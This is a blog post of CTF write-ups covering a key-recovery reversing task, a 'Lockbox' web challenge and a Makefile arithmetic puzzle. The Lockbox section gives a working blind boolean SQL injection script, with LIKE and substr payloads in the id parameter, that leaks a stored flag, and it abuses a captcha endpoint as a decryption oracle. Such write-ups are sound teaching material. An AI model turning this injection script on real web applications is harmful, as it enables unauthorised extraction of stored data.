data = "Jj[`\xa0d\x92}\xcfB\xebF\x00\x17\xfdP1g\x1f'vwN1\x94\x0eg\x03\xda\x19\xbcQ"

Key = Reverse()
if validate(Key) == 1:
    print("[+] The key is ==>  '%s'"%Key)
$ python3 xxx.py 
[+] The key is ==>  'Impossible is for the unwilling.'
The input key is "Impossible is for the unwilling."


A Lockbox box running at https://lockbox-6ebc413cec10999c.squarectf.com/
Given it's source code lockbox.go
The Service is Encrypting the Data and storing in database,And calculating the hmac for that data and returing it to user after succesful upload.And also user can lock that upto a period of time , by specifying when it has to open.
Given A Image file
The flag is at ID 3, TimeLock has been set to flag for one month
After checking the source code of server (lockbox.go)
Routes for server
GET / : Return's Index page, Form to upload data
GET /id=??&hash=xxxx : Fetch the data at id , and check's the hmac(data) == hash, If so gives the data by decrypting it ; or else saying "bad hash"
                       The data is encrypted and then stored in database
POST / : Saves the data posted to it , with lock specified by user only if captcha satisfied 
GET /captcha?c=xxxx&w=00 : Creates the captcha with data specified to it in c , With width of image w
found an boolean sql injection `panicIfError(env.db.First(&text, r.URL.Query().Get("id")).Error)` in id parameter(GET /id=??&hash=xxxx)

Exploiting the Injection to leak the Data at ID=3
from requests import get
import string

URL = 'https://lockbox-6ebc413cec10999c.squarectf.com/'
chars = '0123456789abcdefghijklmnopqrstuvwxyz!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ '

def Send(payload):
    r = get(URL, params = {
            'id': payload,
            'hash': 'LGeQueTER1c'
        }, timeout = 20)
    return 'timelock' in r.text

check = ''

while 1:
    finished = True
    for i in chars:
        if i == "_" or i == "%": i = "\\"+i
        xx = Send('0 or (ID=3 and Data like "'+check+i+'%")')
        if xx:
            check += i
            finished = False
    if finished : break

check = check.replace('\\_','_').replace('\\%','%')  # result is case insensitive
flag = ''
for i in range(len(flag) , len(check)): # Caps check
    c = check[i]
    if c in string.ascii_lowercase:
        xx = Send('0 or (ID=3 and ord(substr(Data,%s,1))<96)'%(i+1))
        if xx:
            c = c.upper()
    flag += c

print("Encrypted flag: ",flag)
$ py exp.py 
Encrypted flag:  Nw12G_0K_xYt4ZR3mO7cKuc5CFrrszCysLZrLgxhoGcakkjTs7x86DotIiD5fzgSZYK-zX3bWTE-dEJrmPBlgQ
But the data is stotred as Encrypted ,We need to decrypt it, but there is functionality useful for us: (captcha GET /captcha?c=xxxx&w=00)

To make the user to dont know the captcha value , Encrypted value is sent to user(source code); From there a request goes to /captcha with that encrypted value , decrypts on server side and create's a captcha with that decrypted value and return's it,
So we can decrypt our flag with captcha
The captcha is

Sudo make me a flag

Given a make file
 @echo "usage: make "
 @echo "command:"
 @echo "  help     Shows this text."
 @echo "  source   Shows the Makefile's source."
 @echo "input:"
 @echo "           Correct input reveals the flag."

 @cat Makefile

 $(flag) > flag.out

b=$(if $(subst y,,$(1)),$(call b,$(patsubst x%,%,$(1)),$(2)y),$(if $(subst x,,$(1)),$(call b,$(patsubst %y,%,$(1)),x$(2)),$(call w,$(2))))
c=$(call p,$(l),$(q))
d=$(call r,$(l))
e=$(if $(subst y,,$(1)),$(words $(subst x,x ,$(1))),$(if $(subst x,,$(1)),-$(words $(subst y,y ,$(1))),0))
g=$(call j,$(call j,xxxxxxxxxxxxxxx))
h=$(call k,$(g),$(z))
j=$(subst x,xxxxxxx,$(1))

a = $(call k,$(call m,$(1)),$(h))
l = $(call n,$(firstword $(subst -, , $@)))
o = $(if $(and $(findstring x,$(1)),$(findstring y,$(1))),$(call o,$(patsubst x%y,%,$(1))),$(1))
k = $(if $(subst y,,$(1)),$(call k,$(patsubst x%,%,$(1)),x$(2)),$(if $(subst x,,$(1)),$(call k,$(patsubst %y,%,$(1)),$(2)y),$(2)))

m=$(call p,$(1),$(1))
n=$(patsubst %,%,$(subst x ,x, $(filter x,$(subst x,x ,$(1)))))$(patsubst %,%,$(subst y ,y, $(filter y,$(subst y,y ,$(1)))))
p=$(if $(subst y,,$(1)),$(call k,$(2),$(call p,$(call o,$(call u,$(1))),$(2))),$(if $(subst x,,$(1)),$(call b,$(2),$(call p,$(call o,$(call i,$(1))),$(2))),))
q=$(call n,$(lastword $(subst -, , $@)))
r=$(call b,$(call a,$(1)),$(call y,$(1)))
s=@echo flag-`echo $(call v,$(c)) $(call o,$(c)) | md5sum`
t=$(call k,$(z),xxxxxxxxxx)
v=$(call e,$(call o,$(1)))
w=$(if $(subst z,,$(subst y,,$(1))),$(call w,$(patsubst x%,%z,$(1))),$(if $(subst z,,$(subst x,,$(1))),$(subst z,y,$(subst y,x,$(1))),$(subst z,y,$(1))))
x=$(call r,$(q))
y=$(call p,$(1),$(t))
z=$(call b,$(call j,$(call j,x)),xx)

flag = $(if $(or $(call o,$(d)),$(call o,$(x))),@echo nope,$(if $(call o,$(call b,$(l),$(q))), $(s), @echo nope))
There are total 26 functions, Important functions that we need are
Our input must be like (******-********) two words seperated by -,
l= n(first word)
q= n(second word)

n=filters x and y only from input 

def n(S): # Parse input to record x,y values
    first = ''.join([x for x in S.replace('x','x ').split() if x=='x'])
    second = ''.join([x for x in S.replace('y','y ').split() if x=='y'])
    return first + second
# Due to it's filtering functionallity ( xxxyy becomes xxxy ) & (xxxyyy becomes xxxyy) & (yyxx becomes yyx)

k= (S1,S2): # Concat S1, S2 with S2'x as S1'x and S2'y as S1'y #Ex (xxy,xyy => xxxyyy)
b= (S1,S2): # Concat S1, S2 with S2'y as S1'x and S2'x as S1'y #Ex (xxy,xyy => xxxxyy)

def P(S1, S2):
    if 'x' in S1:
        s1 = p(o(u(S1)), S2)
        return k(S2,s1)
    elif 'y' in S1:
        s1 = p(o(i(S1)), S2)
        return b(S2,s1)
        return ''
# main function to focus on, Repeats the String S2 based on difference between number of x's and y's
# If S1.count('x') > S1.count('y'):
    repeats the S2 normally using k function
    diff = S1.count('x') - S1.count('y')
    returns 'x'*(diff * S2.count('x'))+'y'*(diff * S2.count('y'))
# else:
    repeats the S2 inverted every time by b function; For one iteration count('x') increases , for next iteration 'y' , .... 
    # The diffecrence between count('x') and count('y') remainds constant for whatever diff

o=which removes the eqaul number of 'x' and 'y'; returns '' when count('x') == count('y')

flag = $(if $(or 
        $(call o,$(d)),
        $(call o,$(x))
    @echo nope,
        $(call o,
            $(call b,
        @echo nope

Two checks for flag 
   First :
      No of 'x' and 'y' must be equal for $(d)=r(first part) , $(x)=r(second part)
   Second :
      count('x')-count('y') must be differ for $(d) and $(x)
Goal: find the two strings(differ in count('x')-count('y')) which makes the r() function to return string with count('x') == count('y')
Note: count('x') > count('y') for input ; because then only we can increase the diff between x&y for output

Focussing of r function; A Simple math
Let: S be our input
A = S.count('x') ; B = S.count('x')

r(S) = > b(a(S),y(S))
a(S) => k(m(S) , h())                                                        

m(S) => p(S,S)
m(S) : A*(A-B) x's &&   B*(A-B) y's
h()  : 784     x's &&   2       y's # Always same , it returns a constant
a(S) : k(m(S),h()) ; Concatnating with k function

ax = A*(A-B) + 784 = A^2 - AB + 784     # No of x's returned by a(S)
ay = B*(A-B) + 2   = AB - B^2 + 2       # No of y's returned by a(S)

y(S) = p(S, t())
t()  : 59 x's    &&  2 y's        # Always same , it returns a constant

yx = (A-B)*59 = 59A - 59B              # No of x's returned by y(S)
yy = (A-B)*2  =  2A -  2B              # No of y's returned by y(S)
r(S) = > b(a(S),y(S)) # As a(S) , y(S) are Concatinating with b function ; It inverts the Second params x,y count

rx = ax + yy = A^2 - AB + 784 + 2A - 2B   # No of x's returned by r(S)
ry = ay + yx = AB - B^2 + 2 + 59A - 59B   # No of y's returned by r(S)

Our first condintion is to string returned by r(S) function must satisfy count('x') == count('y')

rx == ry
A^2 - AB + 784 + 2A - 2B = AB - B^2 + 2 + 59A - 59B
A^2 - 2AB + B^2 = 57A - 57B -782
(A-B)^2 = 57(A-B) - 782

Our Second condition is to find two strings which are differ in `count('x') - count('y')`
Let Q = A-B  # count('x') - count('y')

(A-B)^2 = 57(A-B) - 782
Q^2 = 57^Q -782

Q^2 - 57^Q + 782 = 0

A Quadratic quation ; Two roots = two difference `count('x') - count('y')` values
The Values are Q = 23 ; Q = 34
The Input string is ( 'x'*23+ '-' + 'x'*34 ) or ('x'*24+'y'*'2'-'x'*34) or ... ... .. infinite solutions with difference `count('x') == count('y')` => 23, 34
Here difference between x & y matters not the count of 'x' and count of 'y'
Note : Due to n function filter functionality xxyy becomes xxy

$ make `python -c 'print "x"*23 + "-" + "x"*34'` && cat flag.out 
flag-04cc001141d91337867996669dfcee39 -


Popular posts from this blog

Confidence CTF 2020 `Cat web` challenge writeup

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups